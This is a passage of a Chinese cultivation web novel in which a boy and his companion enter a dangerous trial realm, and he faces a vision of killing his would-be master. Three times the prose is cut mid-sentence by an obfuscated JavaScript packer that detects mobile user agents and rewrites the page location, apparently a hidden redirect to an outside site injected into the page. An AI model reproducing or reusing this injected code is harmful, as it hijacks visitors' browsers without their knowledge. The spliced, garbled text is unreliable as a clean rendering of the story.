大会看心情参加,公务基本不管,授课看天气不定时、随时随地开讲,讲的内容也千奇百怪。 “史书”、“法学”、“神龙见首不见尾的命运”他能侃侃而谈,“什么品种的土豆好吃”、“怎么采购食材更便宜”、“论吃饭对修行的重要性”他也能说得头头是道。 好在天机宗还有个比较靠谱的沈灵,不然可真是要完蛋了。 “你怎么来了。”清休澜眼疾手快抢过剩下的小半盏酒液,笑道:“青松酿被倒塌的宫殿毁了大半,你可莫馋我的。” “……”沈灵面无表情地给自己倒了杯茶,道:“有一事想来问问你的意见。” “嗯。”清休澜随口答了声,见应听声盯着自己手中的酒杯,垂眸问道:“想喝?” 原本可能有点好奇,但清休澜刚刚那话一出,应听声便自觉打消了念头,摇了摇头。 但清休澜居然从旁边拿了个干净的茶杯,倒了个杯底给他。 沈灵:“?” 应听声:“?” 应听声转头看看清休澜,又转头看看沈灵,接也不是,不接也不是。 “看沈灵做什么,他又不是你师尊,管不了你的,放心吧。”清休澜顺口说了一句,随后才注意到沈灵诡异地看了他一眼,疑惑道:“怎么。你刚刚想和我商量什么?” 沈灵的目光在他和应听声之间转了几个来回,最终还是将想说的话咽了下去,道:“……没什么。五年一次的试炼之境将开,今年天机宗是否还是不参与。” 试炼之境其实是被一条巨大的灵脉撕开的“异世界”的口子,里面的生物现世闻所未闻,凶险异常。但用来当做弟子的“测试”却是再合适不过了。 每五年,每个宗门都会派出五名弟子进入试炼之境。试炼之境一共开放十天,完成任务者积一分,每有一名弟子存活积一分。最终,总分最高的宗门能够在近年从试炼之境中发现的所有灵植法宝中挑选一样带走。 为保公平,那些发现的灵植法宝被锁在试炼之境周围的一座宝库中,钥匙一分为三,凌月剑宗,天机宗,红尘殿各执其一。组织进入试炼之境的宗门也都会每五年轮换一次。 天机宗拿着钥匙,几十年来参与试炼之境的次数却屈指可数。往年清休澜嫌烦,一向拒绝,可今年却迟疑了一瞬。 他指阎王点名一样指指许寄忱,又朝应听声一颔首,道:“你俩去。” 许寄忱:“?” 应听声:“?!”我、我去? 就连沈灵也觉得不妥,皱眉道:“寄忱年纪尚小,你这……”他看向应听声。 “应听声。”应听声会意,报上自己的名字。 “……听声尚未筑基。试炼之境可不是有你带着,安全无恙的过家家游戏。他们很有可能走不出来。” 清休澜却是又伸出一根食指,指了指屋顶,道:“我夜观星象,观得虚宿黯淡,幻宿潜移。预示此行虽险,却暗藏机缘,且最终逢凶化吉,你且安心吧。” “天未黑,你观的哪门子星。”沈灵无情拆穿道。 “昨夜观的。” “……” 沈灵显然不信,却也知道清休澜人虽然混蛋了点,但从不将生命视为草芥,让许寄忱和应听声去送命这种事,他干不出来的。 于是他还是点了点头,给今年组织试炼之境的红尘殿回信去了。 临走时,沈灵看了许寄忱一眼,就像有什么心灵感应一般,许寄忱放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105645|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中温热的牛乳,起身拉上沈灵伸出的手,跟着他出去了。 应听声目送二人离开,转过头犹犹豫豫地喊了声“前辈”,却没了后文。 “怎么。”清休澜大抵是有些醉了,喝了酒,他眼尾的红痕变得愈发明显,金眸下的两颗对称的红痣也像喝饱了水一般鲜艳起来。他开玩笑似的问道:“你也想拜沈灵为师?” 应听声见鬼似的疯狂摇了摇头,又听清休澜慢悠悠地问。 “那,你是想拜我为师?” 这次应听声迟疑了,没有摇头,也没有点头,只盯着清休澜看。 清休澜眼神散漫,堪堪聚焦,这才发现应听声其实长了一双非常漂亮的凤眸。可能是年纪小点,他的眼睛并不像寻常凤眸那般锋利,反而多了几分柔和。 睫毛很长,微微下垂,他垂眸看着清休澜时,竟显得有些委屈。 这么想着,清休澜忍不住伸手,用食指抬起了应听声的下巴,道:“你委屈什么,我又没说不准。” 此话一出,应听声瞬间抬眸,眼中的委屈一扫而空,眼中细小的白色星星亮了起来,熠熠生辉,看得清休澜一笑。 不知怎的,他突然很想给应听声的额间添上一抹红。想着,他不抱什么希望地翻了翻乾坤戒,竟还真的让他从中寻出盒胭脂来。 清休澜:“?”沈灵为什么会觉得自己用得上这个。 清休澜抱着怀疑的态度,觉得沈灵可能是以为他眼尾的红色是自己添上的,于是才给他备了胭脂。哪怎想清休澜眼尾红痕是天生的,平日不显,喝了酒才会变得明亮起来。 他也没在意,伸出中指在胭脂盒中一揉,然后勾着应听声下巴,在他的额心轻轻一抹,道:“你若能从试炼之境活着回来,我就收你。” 一道长剑样的红痕留在了应听声额间。 清休澜又笑了一下,玩够了就开始赶人:“好了,我累了。你去找许寄忱,或者沈灵玩会吧。” 于是,应听声就顶着额头的红痕敲响了沈灵所在的大殿的门框,得到准许后,才走了进去。 沈灵抬眸,在应听声额间停留了两秒,然后面不改色地问道:“他人呢?” 应听声道:“他说累了。” 沈灵点点头,一指外院,道:“那你去找寄忱玩会。记得晚膳时回来,拿两份餐盒去。” 见应听声点了点头,却还没有离开的意思,沈灵便也搁下了笔,朝他招了招手,待应听声走到身边后问道:“怎么了。” 应听声小声问:“前辈住在这吗?” 沈灵失笑,道:“他的雪霁阁就在隔壁。可能是过于安静了吧,他不爱自己住着,常来我这。他喜欢热闹的。” 说完,他学着应听声一样,压低声音问他:“他和你说什么了?” “他说如果我能从试炼之境活着回来的话,就收我为徒。”应听声问:“沈前辈,我能活着回来吗?我想活着回来……” 沈灵没给他一个“能与不能”的肯定答复,只是说道:“我观清休澜神色,感觉他已经为你铺好了路,但仍有些顾虑,需要你加把‘劲’。” 他说:“试炼之境危险不假,但你也无需太过担心。他肯让你去,应该是已经摸过你的‘底’,确定你能应付——比如,他是不是给过你很多或大或小的任务?” 应听声怔怔点了点头,就听沈灵接道:“那尽可放心,清休澜不做没把握的事。他只是还需要一个能够说服的自己的理由。” “说服……什么?” 沈灵只是笑了笑,没有多言。 孤单太久的人,总是更喜欢长长久久的陪伴。 倘若不久后便要面对分离,那不如不要相遇,惹我心绪烦乱。 27. 去听 许寄忱已经在沈灵的带领下筑基,等待试炼之境开放这两天正打算教他些简单实用的咒语和法阵。 清休澜倒是一点儿不急,在一旁看得津津有味。 他不急,应听声却挺急的,毕竟五年才开一次的“试炼之境”听起来不是什么良善之辈,应听声也不希望自己会拖许寄忱的后腿。 清休澜看得出应听声心急,却只是比了个“嘘”的手势,示意他稍安勿躁,说道:“不会使用灵力无妨,我多画几张符咒给你就是。” 应听声道:“……那不是作弊吗。” 清休澜懒懒抬眸看他一眼,道:“那那些拿着法器进去的就不算作弊了?你就把我给你的符咒当法器用,算不得作弊。” “可是……” “没有可是。”清休澜随手从空气中勾出一缕灵气,看着他道:“就算我强行让你在几天内筑基,也无济于事。你为什么会觉得筑个基就能与那些修炼了几年几十年的弟子一样?” 应听声转头看看正学着沈灵在纸上勾勒符咒的许寄忱,没有说话。 清休澜跟着他转过头。笑道:“小孩子攀比心还挺重。”他在应听声手心中划了几笔,一抬手,用灵力拿过几张许寄忱手边的符纸,道:“那你也学。符纸中含有微弱灵气,只要你符画得对,就能用。” 方才沈灵教导许寄忱时应听声也听了一嘴,知道此诀名为“引雷咒”。但他在心中画了一遍清休澜教给他的符咒,却有些疑惑:“这咒好像和沈前辈画的不太一样?” 清休澜“嗯”了一声,道:“是有些不一样,但效用却是相同的。”他点了点应听声手中的符纸,接道:“人们发明符咒,只是为了能更容易与天地取得联系。” 他一指正在示范的沈灵,道:“你瞧,沈灵就算不用符咒,只一捻手指,也能使用此诀。在‘感悟天地’一事上,不必拘泥于形式。” 应听声似懂非懂地点了点头,然后依葫芦画瓢地在符纸上颤颤巍巍地落下几道“鬼画符”,画完后又学着沈灵一甩符咒—— 风平浪静。 他这一举动将在场三人的目光都吸引了过来,清休澜没忍住笑出了声,就连沈灵也无奈地摇了摇头。 应听声失望地垂下眸,就见清休澜抬手将他散落的碎发勾到耳后,道:“只得其形,不得其意。” 微风吹起,扰乱了清休澜的黑色长发,他伸手遮了遮刺眼的阳光,依旧坐没个坐相,开口道:“最简单的,风从哪儿吹来,雨从何落下,阳光是什么颜色,雪是什么形状。这些,皆是天地。” 清休澜放在一旁的灵宠袋动了动,一抹雪色从中冒出,甩了甩头,轻巧地从袋中钻出,舔起了毛。 狐狸大概是那天累着了,从溟市出去后就窝在灵宠袋中不愿出来,一连躲了两天。 清休澜看它一眼,随后收回了目光,接着说道。 “我曾告诉过你,‘去听’。” 清休澜少有如此耐心的时候,他道:“照我说的去做就好了。不要去想所谓‘符咒该如何落笔’、‘咒语平仄’、‘法阵以何做阵眼’,只需细细去听,灵气就藏在穿过你指尖的风中,捕捉它,送入我画好的符咒中就行了。” “只要能够引灵气入符咒,便能催动它了么?”应听声似乎还是有些担心,问道:“我能发挥它原本的威力吗。” “当然。别说你,只要是个能够捕获灵气的三岁小孩儿,也能发挥符咒原本的威力。”清休澜懒散道:“符咒对每个人都是平等的,你要你能够使用它。” 闻言,应听声就像吃了颗定心丸一样,清休澜却又慢悠悠地浇了盆冷水:“正因如此,符咒的作用有限。比如那种能够轻易将凶兽置于死地的杀阵,就不能用符咒代替。” 说完,清休澜拿起一块小巧的糕点,结束了这个话题:“沈灵教的是杂了点,但他教的那些不是为了让许寄忱自保,只是单纯让他探寻不同的‘道’。” “大道三千,万事万物皆可入道。”清休澜指指不远处许寄忱桌上放着的符咒和卦签,又指指桌旁的炼丹炉和数十种不同的兵器:“除此之外,更‘玄乎’一点的,例如‘苍生’、‘无情’,则是以心境入道。” 应听声的注意力被成功转移,问他:“前辈的‘道’是什么?” 清休澜眼神是那样平静,甚至嘴角还带着微弱笑意,说出的话却让应听声后背一凉。 “是‘杀戮’啊。” —— 应听声本以为清休澜之前说的让他们两个去有开玩笑的成分,毕竟他和许寄忱加在一起还没沈灵门口那颗小树苗的零头大,怎么想都没办法自己去, 就算清休澜和沈灵没法参加,至少能再喊两个师兄师姐吧……? 事实证明,天机宗“放养”弟子的传统可能是放得太过,养得太久了,山上众人得知“清长老决定让俩小孩去闯试炼之境”这一消息时都没什么反应。 甚至没人觉得有什么不对。 于是在几天后的某个上午,应听声就被清休澜塞了枚乾坤戒,还端着盘甜点送到了红尘殿。 沈灵看着比清休澜靠谱了不止一点半点,正半蹲着细细和许寄忱交代什么。反观清休澜,将人送到之后转身就要走,一点留恋都没有。 最终还是被应听声一声“前辈”喊停的,他转头朝应听声递去一个疑惑的眼神。 应听声只好开口问道:“您没有什么想嘱咐我的吗?” 清休澜想了想,然后指着应听声手中的糕点道:“分给别人尝尝,苏长老做的——她明知道我不吃红枣味的任何东西。” 说完,清休澜又要转身离开,似乎每在红尘殿大殿中多待一秒都像踩在火上一样。不过他刚走两步,就像想起什么一样回过了头,多说了一句:“我给你画的符咒在乾坤戒中,有些杂,用的时候看好,别把自己炸死。” 应听声:“?” 清休澜仅存的一点良心冒了出来,提示道:“有图解,记得找找。” 说完,清休澜顿了顿,回过头认认真真地看了应听声一眼,嘴未动,声音却清晰地传进了应听声的耳中:“听声,记住。” “符咒只是帮助你与天地建立联系的‘桥梁’。” “重要的是天地,不是‘桥梁’。桥梁有千万种,天地却只有一个。” 这番似是而非的话实在太过玄奥,那时的应听声听得云里雾里,不得解。但他听出了清休澜语气中的凝重,于是认真地点了点头。 钟声起,沈灵同许寄忱告了别,转身去追已经走远的清休澜。 应听声目送清休澜离开,直到红尘殿大门“轰”一声合上,才移开了视线。 清休澜走后,应听声久违地有些难过,又变回了从前杯弓蛇影的状态,沉默地走在许寄忱身边。 意料之外又情理之中,最先开口的居然是许寄忱,他在红尘殿给他们安排的房间里坐下,从自己手上的乾坤戒中找了找,找出颗圆形宝石来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105646|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递给了应听声,道:“师尊让我给你的。” 应听声沉默两息,没有接的意思,问道:“这是什么。” 许寄忱见应听声没接,也没有收回手的意思,依旧保持着递给应听声的姿势,平静道:“保命用的。” 应听声心中微微一动,迟疑地看了看他,最终还是伸手接过了那颗圆形的淡金色宝石,道:“……谢谢。” 顿了顿,他轻声问道:“我听前辈说,天机宗有入门测试……” 许寄忱似乎知道他想问什么,并没有隐瞒,道:“有,但是我没有。” 在应听声疑惑的目光中,他接着说道:“师尊让我给他敬一杯茶,然后就收我为徒了。没有入门测试,也没有请众人见证。” 应听声听着,鼻尖发酸,就像一只渴望有个家的流浪小猫,看着家猫睡在温暖的窝里时会忍不住凑上去,却被冰冷的玻璃隔开。 许寄忱只需要敬一杯茶,而他必须活着从试炼之境出来。 我可以。 应听声抬眸看向窗外,被刺眼的阳光逼的不得不遮住了眼睛。他伸手抹去被阳光逼出的眼泪,想道。 我肯定可以。 —— 试炼之境明天开放,今日除了登记安置从各宗门来的弟子之外,最重要的就是发放“通灵玉碟”。 试炼之境内外隔绝,一天之后就会暂时关闭,外面的人进不去,里面的人出不来。只有等到十天以后才会再次开放,这次开放结束后,便会陷入五年的沉睡期。 而通灵玉碟就是进入试炼之境的弟子用来和外面的人沟通的手段。除了沟通之外,发布的任务和提示也会显示在玉碟上。 玉碟也可以用来记录地形和与自家弟子沟通——不过天机宗就应听声和许寄忱两根独苗苗,非特殊情况也不会分开行动。 ——要是真死了还能给沈灵和清休澜省点找人的功夫,找到一个就能在不远处找到另一个。 红尘殿大殿中,各宗弟子排成一排,伸手接过发下的通灵玉碟。 诸尘横躺在主位的座椅上,闭着眼睛,没睡好一样打了个哈欠,突然,余光扫过,他疑惑地“嗯”了一声,终于撑着软垫坐了起来。 观察着手中翠绿色巴掌大的通灵玉碟的应听声只感觉有什么东西挠了挠他的下巴,他被吓得一哆嗦,转头看去,就看见自己肩上盘着一条浑身通红的长蛇。 应听声:“……” 应听声看上去挺平静的,应该是走了有一会了。 台上的诸尘“哈哈”笑得前仰后合,挥挥手,这条由灵力凝成的长蛇便如细沙般散去,他深深看了应听声一眼,没有多言。 红尘殿中的诸位对此视若无睹,似乎对诸尘时不时的恶趣味习以为常,甚至连眼神都没分一个给台上华裳半褪的人。 倒是有几个年纪尚小的弟子朝他投来的惋惜的目光,好像他得了什么不治之症一样。 “领完了就走吧,脸皮薄的晚上别出门,红尘殿可是来者不拒的哦~”诸尘不知从哪儿拿出了只烟斗,吞云吐雾道:“明日辰时,门前集合,过时不候。” 闻言众人也没多意外,毕竟红尘殿以“欢好”入道,无人不知。 待众人散去后,应听声与许寄忱对视一眼,也准备离开,却被一道红雾拦住了去路。 “别急着走呀。”诸尘眼神慵懒,柔道:“我认得你,清长老带在身边的小弟子。” “我俩叙叙旧怎么样~” 28. 若木 应听声皱着眉,一点不觉得自己与高台上的人有旧可叙。但他提到了清休澜的名字,于是应听声迟疑两秒,还是转过了头。 “你想和我聊什么。” 诸尘坐得太高,应听声必须得仰着头才能与他对上视线。 诸尘微微一笑,身形一闪,转眼间就来到了应听声身后,朝着他的耳朵吐出一口烟气,道:“别紧张,我不会对你做什么的。清长老这么多年都是孤身一人,怎么这会突然领了个小孩带着身边,还让你参加这试炼之境?” 诸尘话语中满是对应听声的好奇,他不动声色地放出一道灵力,还没触到应听声的经脉,就感到一阵不算陌生的强大威压,将他那一小股细微的灵力赶了出去。 “嘁,还挺小气。”诸尘在心中道,面上却不动声色,依旧笑嘻嘻地搂着应听声:“你身上究竟有什么特别的?” “什么都没有。我就是一个普通人而已。”应听声往后一挣,从诸尘怀中退了出去,冷冷道。 “是吗。”诸尘揶揄地看了他一眼,道:“我倒是很期待你在试炼之境中的表现呢,一定很精彩。” 说完,诸尘又掩着嘴笑了起来,毫不客气地用一阵红雾将二人送出了大殿,随后“嘭”一声关上门。 应听声与许寄忱对视一眼,都对此感到莫名其妙,不过应听声是厌恶大于疑惑,许寄忱是疑惑大于厌恶。 待夜深人静时,应听声躺在柔软的床榻上,却怎么也睡不着。不远处的许寄忱倒是意外地随遇而安,看上去适应良好,已经陷入梦乡。 他轻轻坐起身,看见枕边的狐狸都将自己团成了个白色的糯米糍粑睡了,不由得叹了口气。 应听声抬起手,看向自己右手上的乾坤戒,不知是否想到了什么,翻找起来。 戒内,除了换洗的衣物和基础药品外,还有一大堆符咒,以及一本掉在角落的手写图解。 应听声没有将目光分给它们,继续往深处翻找,随后惊喜地掏出一个巴掌大的木盒——云青之前给他的那些发明果然也被清休澜一股脑扔了进来。 他小心翼翼打开木盒的盖子,里面装着两个用稻草做成的人形木偶。这木盒大概是用特殊工艺制成的,虽然被大火烧黑,装在里面的东西却完好无损。 云青说,民间人们将稻草扎成人形,用以驱赶鸟类和禽兽,保护作物。但师兄觉得还不够,于是稍加改进了一番,将其唤做“替命人”。 改良后,这木偶在被抛出去的瞬间,就会将猛兽,甚至是堕阴者眼中的人换作自己,让自己代替人被撕碎,因此唤做“替命”。 原本应听声觉得可以将这替命人往后放放,优先修复更加实用的飞鹰递箱,不过现在看来,这替命人反倒更加有用些——对他们而言。 这替命人完好无损,无需修复,只是装着它的盒子快要散架了,重新固定一下就行。 应听声又在乾坤戒中找了找,想找出个火折子或者蜡烛来,摸到一物时动作却停了下来,随即不可置信地拿出了盏琉璃灯。 之前狐狸从灵宠袋中钻出来时,别说琉璃灯,连脖子上的项圈都整个不见了,清休澜没有多说,应听声也就没有多问。 原本他还以为是因为任务已经完成,不再需要琉璃灯,没想到这灯居然又一次回到了自己身边。 他抚摸着灯,不由得轻轻唤了一声“前辈”,但琉璃灯只是一盏普通的琉璃灯而已,就连原本看不清的内部都被换成了再寻常不过的蜡烛。 但应听声依旧感到一股暖流划过心间,安心许多,就着琉璃灯的光捣鼓起来。 日升月落,当天蒙蒙亮时,许寄忱自然而然地醒了过来,打了个哈欠,就看到背对着他坐在床上的应听声。 许寄忱揉了揉眼睛,问了个好:“你起的真早。” 应听声没回头,答道:“我是一宿没睡。” 许寄忱:“……” 他下了床,走到应听声身边,半梦半醒问道:“你准备修仙了?” 应听声手中的动作停了一瞬,转过身来给他看自己手里的东西:“我昨天研究了一下前辈给我的那些符咒——没吵到你吧?然后发现了这个——” 他摇了摇左手的符咒,道:“匿息符。” 说完应听声又摇了摇右手的符咒,道:“分身符。” 最后,一指床上那两个木偶,道:“替命人。” 看着脸上茫然不减的许寄忱,一摊手,下了结论:“打不过还跑不过吗。” “可是……”许寄忱偏了偏头,问道:“……我们要打谁?” 说到这个应听声的神情突然变得有些一言难尽,将自己的通灵玉碟递了过去,示意许寄忱自己看。 许寄忱抬手接过,一看玉碟上的内容,也是一愣。 “前辈告诉我们的那些试炼之境规则,大概是二十年前的。”应听声扶额道:“早在十年前,众宗门就发觉试炼之境有些不稳定,于是废除了‘肉身入境’的规则,改为‘分神入境’。” “红尘殿会用数以万计的丝线缠绕在每个人的一缕分神之上,一旦生变,就会拽动丝线,将分神从试炼之境拽出。而在试炼之境里造成的任何伤害,都不会影响到现实中的身体。”应听声顿了顿,轻声道:“因此,今年红尘殿新增了一条规则。” “杀一人,积一分。” 许寄忱愕然道:“分神也是从元神中剥离出的,就算只有一缕,被斩杀也会对身体造成影响,怎么能算‘不会造成任何伤害’呢。” “可能是因为对那些修士而言,那一缕微不足道的分神,就像大海中的一滴海水,无关紧要吧。”应听声坐了下来,道:“但对我们而言,就是用碗从锅中舀出满满一碗水,轻则失智,重则死亡。” 二人对视一眼,许寄忱摇头道:“我们连把剑都没有,新规则对我们而言可不是什么好消息。” 来者不善。 —— 应听声和许寄忱踩着点来到大殿门前时,就见懒懒散散的诸尘一下就用目光锁定到他们,然后慢慢、慢慢地笑了一下。 这还不是最令应听声汗毛直立的——在诸尘身旁,赫然站着个对应听声而言最陌生的熟悉人,席梵。 席梵显然也看见了他,朝他眨眨眼,一副与他很熟稔的样子。 好在诸尘及时打断了二人“眉目传情”,懒声道:“今年试炼之境的新规则想必大家都知道了,为了尽兴,我决定再加上一份‘大礼’,以我个人的名义送给排名第一的宗门。” 虽然众人都不对红尘殿的“大礼”抱有什么期待,但也不会故意扫了红尘殿主的兴,鼓起掌来。 下一瞬,诸尘就慢悠悠地自己揭开了谜底:“是一块……若木。” 应听声与许寄忱不明觉厉,站在他们身边的人却发出了惊呼。 有人问道:“敢问殿主,您所说可是传闻中‘日落之地’,月神降临的那‘若木’?” “正是。” 传闻中,月神曾降临人间,而祂落下时所站的那棵树,名为“若木”。 从没有人亲眼见过“神明”,而大部分人也都将其当做神话故事。 但如今红尘殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105647|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主居然说他手中有一块“若木”。不论是真是假,众宗门肯定都要争一争的。 应听声两人对此倒没有太大反应,毕竟他们唯一的任务就是活着。 看着台下争议四起,诸尘笑了两声,吸了口烟,然后朝着众人轻轻一吹,无数细细的红雾出现,没入每个人的眼睛,随后,一道道细若游丝的分神便顺着红雾飞向远方。 而众人留在此地的身躯被扶着躺下,合上了双眼。 席梵百无聊赖地问道:“这就完了?” “完了。”诸尘站起身,用食指勾开席梵衣服前襟,道:“半盏茶后,他们就会出现在试炼之境中,随后,入口关闭。” 席梵皮笑肉不笑地抓住了诸尘作乱的右手,道:“你急什么。” 诸尘笑哼了一声,松开了手,独留席梵站在高台之上,自己走了下去,道:“伪君子。” ——应听声只觉一阵天旋地转,再次睁开眼时,面前已经不是红尘殿,而是一片黑色虚无。 以及,一条通往高处的淡色台阶。 应听声抬头,高不见顶,他又低下头,自己正站在台阶后的一道南瓜大的圆形白色平台上。应听声小心蹲下身,伸手往旁边的黑暗一摸——空的。 深不见底。 应听声叹了口气,心道,怎么又是这种别无选择的境地。 他往前走了一步,踩上了第一级台阶,稳稳当当。于是应听声便放下心,低头确定乾坤戒和通灵玉碟都还在身上之后,一步一步地往上走去。 这台阶一眼望不到头,应听声在走了一会后就停了下来。 这肯定不是硬爬的,应听声面无表情地想道。 他再次抬起头,皱着眉看了一会,然后原地躺了下来,让头从台阶的边缘垂下,随后慢慢往后退,直到半个身体都悬在空中。 层层叠叠的台阶停止了蔓延,猛地调转了方向,顿时,一阵强烈的失重感袭来,应听声勉强睁开眼,就看见台阶在极速下坠——或者说,他在极速上升。倒着的。 应听声总觉得过去了很久,其实也不过几十息,台阶,或者说他,就停下了。 他试探着往前走了一步,瞬间踩空,从空中落到了地面。 好在并不高,应听声只擦破了点皮。他勉强适应了现在的空间感,抬头看去,面前是一扇高大的门。 另一边,走过天机宗通天玉阶的许寄忱对此再熟悉不过,心念一动,便直接越过了所有台阶,来到了最顶端。 大概是第一次实战,落地时他踉跄了下,往前扶住了什么,才堪堪稳住身形。 抬眸一看,眼前是一片郁郁葱葱的树林,附近有几道人声传来。 许寄忱立刻躲到了树叶遮挡下,下一秒,方才他站的地方就走过几个人。 直到那几个人离开,许寄忱才松了口气,查看起方才微微振动了一下的通灵玉碟。 [任务发布:采集一株无毒植物。] 看起来似乎不难,但是……许寄忱左右看了看,眉头紧锁。 除了人之外,周围没有任何活物存在的痕迹。 试炼之境里的植物和现实中的植物很不一样,花深埋土下,密密麻麻的藤蔓从高空垂下,又长进土里,大树的枝干被一片挨着一片的青色树叶代替,反倒是干枯人脸一样的果子像树枝一样一个连一个地挂在“枝干”上。 若是有动物,还能用动物试毒,没有动物的话,难不成要用自己试毒吗。 许寄忱在脑中设想了一下存活的可能性,得出结论。 ——傻子才会这么做罢! 29. 幻象 与许寄忱不同,应听声推开那扇大门后看到的景色简直堪称诡异——门后是清休澜。 但和昨日的清休澜又有些不同,应听声皱眉想了想,还是没想出有何处不同,可给人的感觉就是不同, 而他走进门中后,听到清休澜诧异地回过头,问他:“你这么快就回来了?” 应听声没开口,却“听见”自己回答:“两日,不算快。” “我想你了,师尊。” 应听声瞪大了双眼,这声音和他有七分相似,但不可能是他——开什么玩笑,清休澜可还没收过徒弟呢。 门后的清休澜却好像已经习惯了,道:“你下山除祟,不过与我分别几日,哪儿就如此思念。” “应听声”却没有回答,反倒是清休澜看了他两眼后无奈地倒了杯茶给他,道:“行了,别这么腻歪。如何,可有受伤?” “应听声”大概是摇了摇头,因为他听见清休澜说了声“那就好”。 应听声简直要被逼出精神分裂,当他试图掌控这具“身体”时,却意外地顺利,就像“应听声”主动将身体的控制权让给了他一样。 他还没来得及适应这具不属于自己的身体,右手却突然一沉,应听声转头一看,他的手中突然出现了一柄长剑。 就在他疑惑时,“应听声”突然将他挤了下去,随后,长剑穿透了一具身体,血液喷涌而出。 清休澜嘴角渗出血迹,不可置信地转头看向“他”,应听声突然再次掌控了身体,“哐当”一声,长剑落地,清休澜也捂着被一剑穿心的胸口慢慢滑坐下去。 “不——”应听声喊道,却没有发出一点声音,就像被困在深海中一样,无力可使。 清休澜咳出一口血,望向他时眼神却格外平静,甚至有一丝“解脱”的意味。他对应听声笑了笑,然后慢慢闭上了那双金眸,身体化作白点消失。 独留应听声一声溺在海中。 应听声茫然地看着清休澜消失,感觉像不知谁强行塞给他了一股浓烈的情感一样,无知无觉地落下一行泪。 突然,海中浮现了许多细小的泡泡,一只白狐四爪刨水,向下游来。它游到了应听声眼前,但应听声双目无神,就像看不见他一样,没有任何反应。 狐狸“嘤嘤”叫了两声,绕着应听声转了两圈,拱了拱他的腰,又叼着他肩上的布料,想将他拽起,皆无济于事。 应听声就像被什么噩梦魇住了一样,跪坐在地,双眸没有聚焦,眼泪却像连成线的珠子一样往下坠。 狐狸无计可施,只好又游到应听声眼前,伸出舌头轻轻舔尽了应听声脸上的泪水,随后在他的怀中团了团,用自己的身体温暖着应听声。 良久,久到狐狸都快要睡过去时,它终于感到有人摸了摸自己的毛。狐狸惊喜地抬起头,果真看见应听声红着眼,垂眸摸着自己背上的绒毛。 它开心地叫了两声,往上一扑,将应听声扑了个仰倒。 应听声被他逗笑了,对它,又好像是在对自己,轻声说道:“都是假的。” “都是假的。” 应听声一句话说完后,“海底”逐渐消散,周围逐渐明朗,他坐起身,发现自己正躺在一块草地上。 通灵玉碟振了振,应听声先看到了自己的任务。 [任务发布:探寻最高点。] 应听声:“?” 随后,还没等他抬手看看“最高点”在哪儿,他就又收到了许寄忱不久前发来的信息,只有短短两个字,连标点都没有。 [在哪] 应听声研究了会,左右看了看,然后用意念回复道。 [树林里。] 许寄忱的回复很快。 [……] “……”说完应听声自己也沉默了,觉得大概是脑子里的水还没晃出来,他闭上眼,狠狠一拍脑袋,准备再次回复,就感到有人拍了拍自己的肩膀。 “!”应听声一激灵,转头就看到许寄忱左手拿着通灵玉碟,面无表情地将他扑进了一旁的草丛,随后捂住了他的嘴,摇了摇头,示意他安静。 应听声此生最会察言观色,一句话没说,乖顺地任由许寄忱动作。 直到一波人走过,脚步声远去后,许寄忱才放开手,道:“失礼了。” 应听声差点被他憋死,大口大口地喘着气,摆了摆手。待空气重新充盈肺部后,他开口问道:“你怎么找到我的?” 许寄忱指了指应听声手中的通灵玉碟,不知是不是和沈灵待久了,一样惜字如金:“定位,绿点。” 他说完后随口问了应听声一句:“你收到任务了吗?” 应听声没回答,给他看自己的通灵玉碟。 许寄忱似乎有点震惊,迟疑了一会问他:“你回复得有些慢,是遇到了什么突发情况吗?” 这下轮到应听声迟疑了,他道:“你推开那扇门之后看到的是?” “这片树林。”许寄忱皱了皱眉,疑惑道:“门后还有别的东西?” “不。”应听声垂眸,道:“什么都没有,都是些假的幻象。” 说完,他指着许寄忱的任务,道:“这个任务,或许我可以帮你。” 说完,应听声随手从地上摘下一朵花,又从乾坤戒中找了找,还没等他找出什么,站在他肩上的狐狸就“嗷呜”一口将应听声手中的花吞了下去。 “团团!”应听声一惊,乾坤戒差点脱手,急忙伸出一只手要去扒狐狸的嘴:“快吐出来,这看着可不兴吃啊。” 饿了两天的狐狸嘎巴嘎巴两口就将嘴里的花咽了下去,舔了舔嘴,从应听声肩上跳下,自己嗅着地面找吃的去了。 许寄忱一脸不可思议,指着狐狸问应听声:“这狐狸这么吃……没关系吗?” 应听声自己也懵了,看着活蹦乱跳的狐狸,谨慎道:“再观察一下,要是一柱香之后没事……你再拿。” 而应听声大概是低估了神兽的消化系统,他一个没看住,狐狸就又嘎巴嘎巴地将看着就不像没毒的花草树木吃进了肚。应听声心脏都快跳出来了,生怕狐狸有个好歹。 